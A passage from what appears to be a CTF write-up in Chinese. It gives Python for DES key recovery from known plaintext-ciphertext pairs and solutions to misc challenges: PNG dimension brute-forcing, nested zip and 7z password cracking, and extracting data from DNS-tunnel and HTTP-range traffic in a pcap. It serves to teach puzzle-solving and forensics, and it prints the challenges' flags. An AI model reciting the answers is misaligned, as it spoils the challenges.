    # sbox
    afterSbox = sbox(afterADD)
    # linear displacement
    res = pbox(afterSbox)
    return res
# Encrypt function
def DES_Encrypt(plaintext, roundkey):
    M_IP = [0] * 64
    cipher = [0] * 64
    afterF = [0] * 64
    L = [[0] * 32 for i in range(17)]
    R = [[0] * 32 for i in range(17)]
    IP, IP_1 = getIP()
    # get IP replace
    for i in range(64):
        M_IP[i] = plaintext[IP[i] - 1]
    # get L0 and R0
    for i in range(32):
        L[0][i] = M_IP[i]
        R[0][i] = M_IP[i + 32]
    for i in range(1,17):
        # L[i] = R[i - 1]
        for j in range(32):
            L[i][j] = R[i - 1][j]
        R[i] = xor(L[i - 1], f(R[i - 1], roundkey[i - 1]))
    # merge the R and L
    for i in range(64):
        if i < 32:
            afterF[i] = R[16][i]
        else:
            afterF[i] = L[16][i - 32]
    # using IP_1 replace to get cipher
    for i in range(64):
        cipher[i] = afterF[IP_1[i] - 1]
    return cipher
#########################################################################
# Main
#########################################################################
# number in hex to number in bin
def hex_to_bin(a):
    b = int(a, 16)
    res = ''
    while b > 0:
        res += chr(b % 2 + ord('0'))
        b = b // 2
    while len(res) < 4:
        res += '0'
    return res[::-1]
# text in hex to text in bin
def h2b(s):
    res = []
    for i in s:
        temp = hex_to_bin(i)
        for j in range(4):
            res.append(int(temp[j]))
    return res
# number in bin to number in hex
def bin_to_hex(a):
    b = int(a, 2)
    return hex(b)[2:]
# text in bin to text in hex
def b2h(s):
    res = ''
    now_bin = ''
    for i in range(len(s)):
        now_bin += chr(s[i] + ord('0'))
        if len(now_bin) % 4 == 0:
            res += bin_to_hex(now_bin)
            now_bin = ''
    return res

def gen_P_1():
    p = getPbox()
    p_1 = [0] * 32;
    for i in range(32):
        p_1[p[i] - 1] = i
    return p_1
def str2martix(s):
    m = [0] * 6
    for i in range(6):
        m[i] = int(s[i],  2)
    return m
def solve(plaintext, cipher):
    m = h2b(plaintext)
    c = h2b(cipher)
    C_IP = [0] * 64
    M_IP = [0] * 64
    cipher = [0] * 64
    may_after_xor = [[''for i in range(4)]for j in range(8)]
    L = [[0] * 32 for i in range(17)]
    R = [[0] * 32 for i in range(17)]
    ast = [0] * 32
    IP, IP_1 = getIP()
    before_p = [0] * 32
    S = getSbox()
    p_1 = gen_P_1()
    # get IP replace
    for i in range(64):
        M_IP[i] = m[IP[i] - 1]
        C_IP[i] = c[IP[i] - 1]
    # get L0 and R0
    for i in range(32):
        L[0][i] = M_IP[i]
        R[0][i] = M_IP[i + 32]
    for i in range(32):
        L[1][i] = C_IP[i]
        R[1][i] = C_IP[i + 32]
    e = extend(R[0])
    cip = xor(R[1], L[0])
    for i in range(32):
        before_p[i] = cip[p_1[i]]
    # 还原进入sbox前的值
    for i in range(8):
        for j in range(4):
            for k in range(16):
                if S[i][j][k] == int(b2h(before_p[i*4:(i+1)*4]), 16):
                    may_after_xor[i][j] = (bin(j)[2:].zfill(2)[0] + bin(k)[2:].zfill(4) + bin(j)[2:].zfill(2)[1])
    may_res = [[[]for i in range(4)]for j in range(8)]
    for i in range(8):
        for j in range(4):
            may_after_xor[i][j] = str2martix(may_after_xor[i][j])
    # 还原所有可能的K
    for i in range(8):
        for j in range(4):
            may_res[i][j] = (xor(may_after_xor[i][j], e[i*6:(i+1)*6]))
    return may_res
def gen_PC_1():
    PC_1, PC_2 = getPC()
    PC1, PC2 = [-1] * 64, [-1] * 56
    for i in range(56):
        PC1[PC_1[i] - 1] = i
    for i in range(48):
        PC2[PC_2[i] - 1] = i
    return PC1, PC2
# def resolve_key(roundKey):
#     C = [0] * 28
#     D = [0] * 28
#     K = [0] * 56
#     PC_1, PC_2 = getPC()
#     PC1, PC2 = gen_PC_1()
#     moveNum = getMoveNum()
#     for i in range(48):
#         if PC2[j] <= 28:
#             C[PC2[j]] = roundKey[i]
#         else:
#             D[PC2[j] - 28] = roundKey[i]
#     C = leftRow(C, 28 - moveNum[i])
#     D = leftRow(D, 28 - moveNum[i])
#     for i in range(28):
#         K[i] = C[i]
#         K[i + 28] = D[i]
#     for i in range(56):
#         key[PC1[i]] = K[i]
#     return key
if __name__ == '__main__':
    plaintext1 = "4845AB454511C0F0"
    miwen1 = "2EA85F08AA80C2D2"
    plaintext2 = "0123456789ABCDEF"
    miwen2 = "0293A8B9E45FCE5D"
    plaintext3 = "81120015A001FDF1"
    miwen3 = "E88382207800FE7A"
    plaintext4 = "2214500AEF00CD48"
    miwen4="B38AA0AD7720E4AC"
    plaintext5 = "5791AC22121B1234"
    miwen5="A3C0DEB9AB0F833A"
    K1 = solve(plaintext1, miwen1)
    K2 = solve(plaintext2, miwen2)
    K3 = solve(plaintext3, miwen3)
    K4 = solve(plaintext4, miwen4)
    K5 = solve(plaintext5, miwen5)
    K = []
    for i in range(8):
        for j in range(4):
            if (K1[i][j] in K2[i]) and (K1[i][j] in K3[i]) and (K1[i][j] in K4[i]) and (K1[i][j] in K5[i]):
                print(i, j)
                K += K1[i][j]
    print(K)

Misc

[萌新]在哪儿呢

PDF里面有很多不可见字符,直接复制粘贴到sublime里面就可以看到flag

flag{hey_there_is_no_thing}

[签到]签到

题目描述,直接提交

只是个PNG,别想太多了.png

拿到png,利用pngdebugger查,发现后面的块恢复成IDAT就行

crc不对,爆破长宽,抄了个大师傅的脚本

import zlib
import struct

file = 'PNG.png' 
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A 
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00') 
n = 4095 
for w in range(n):
    width = bytearray(struct.pack('>i', w))
    for h in range(n):
        height = bytearray(struct.pack('>i', h))
        for x in range(4):
            data[x+4] = width[x]
            data[x+8] = height[x]
            #print(data)
        crc32result = zlib.crc32(data)
        if crc32result == crc32key:
            print(width,height)
            
            newpic = bytearray(fr)
            for x in range(4):
                newpic[x+16] = width[x]
                newpic[x+20] = height[x]
            fw = open(file+'.png','wb')
            fw.write(newpic)
            fw.close
            # return None

恢复后图片新增内容

看到多了一个压缩的部分,拿binwalk分了下,flag在后面的文件中

flag{zhe_ti_mu_ye_tai_bt_le_XD}

压缩包压缩包压缩包压缩包

import zipfile
import os

for i in range(0,1000):
    name = os.listdir("./")[0]
    zfile = zipfile.ZipFile(name,'r')
    in_file = zfile.namelist()[0]
    passwd = in_file[0:-4]
    zfile.extract(in_file, './',bytes(passwd,encoding ="ascii"))
    zfile.close()
    os.remove(name)

解出23333.zip

密码根据规律猜测是3-6位,爆破得到756698是密码

010editor搜索flag得到flag

flag{Unz1p_i5_So_C00l##}

range_download

过滤dns报文,存在几条query name为xx.nss.neusoft.edu.cn的dns请求包,应该是base64编码的dns隧道,上脚本分析:

import pyshark
import re
import base64
cap = pyshark.FileCapture('range.pcapng',display_filter='dns and dns.flags==0x00000100 and dns.qry.name matches "^[^.-]*\.nss.neusoft.edu.cn$"')
datas = []
ids = []
for pkt in cap:
    name = pkt.dns.qry_name
    id = pkt.dns.id
    match = re.search('^([^.-]*)\.nss.neusoft.edu.cn$', name)
    data = ''
    if match:
        data = match.group(1)
    if data == '':
        print('error! ' + name)
    if id in ids:
        continue
    datas.append(data)
    ids.append(id)
line = ''.join(datas)
img = base64.b64decode(line.encode())
print(img)
cap.close()

跑出来是password: nss_yyds!

过滤http协议,全都是206 Partial Content,把flag.7z一个字节一个字节地传了过来,顺序是乱的,需要写脚本恢复。调试的时候发现基本每个字节都会被传输很多次,并且有一个字节没有被传输,这些在写脚本的时候都需要注意到。

import pyshark
import re
import base64
cap = pyshark.FileCapture('range.pcapng',display_filter='http and http.response.code == 206')
data = bytearray(2460)
poslist = [False for i in range(2460)]

for pkt in cap:
	length = int(pkt.http.content_length)
	payload = pkt.http.file_data.binary_value
	for field in pkt.http.response_line.alternate_fields:
		if field.showname_key == 'Content-Range':
			pos_start = -1
			pos_end = -1
			contentRange = field.showname_value.strip('\\r\\n')
			match = re.search('bytes (\d+)-(\d+)/\d+', contentRange)
			if match:
				pos_start = int(match.group(1))
				pos_end = int(match.group(2))
				assert(pos_end - pos_start + 1 == length)
				for i in range(pos_start, pos_end+1):
					if poslist[i] == True:
						assert(data[i] == payload[i-pos_start])
					else:
						poslist[i] = True
				data[pos_start:pos_end+1] = payload
			else:
				print('Error! Range not found!')
				exit(0)
			break
		else:
			pass
for i in range(2460):
	if poslist[i] == False:
		print(i)
cap.close()

with open('flag.7z','wb') as f:
	f.write(data)

下标2349位置的字节未知,需要爆破一下:

import py7zr
import os
import _lzma

with open('flag.7z','rb') as f:
    source = f.read()
    data = bytearray(source)
    for i in range(256):
        print("Now: "+str(i))
        data[2349] = i
        with open('flag%d.7z'%(i),'wb') as f1:
            f1.write(data)
        try:
            with py7zr.SevenZipFile('flag%d.7z'%(i), 'r', password='nss_yyds!') as archive:
                if archive.test() == True or archive.test() == None:
                    print('Found:' + str(i))
                    break
                else:
                    os.remove('flag%d.7z'%(i))
        except (py7zr.exceptions.Bad7zFile, _lzma.LZMAError) as e:
            print(e)
            os.remove('flag%d.7z'%(i))

运行结果是194,将flag194.7z解压得到flag.png

解码为5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d

ciphey一把梭:

flag{6095B134-5437-4B21-BE52-EDC46A276297}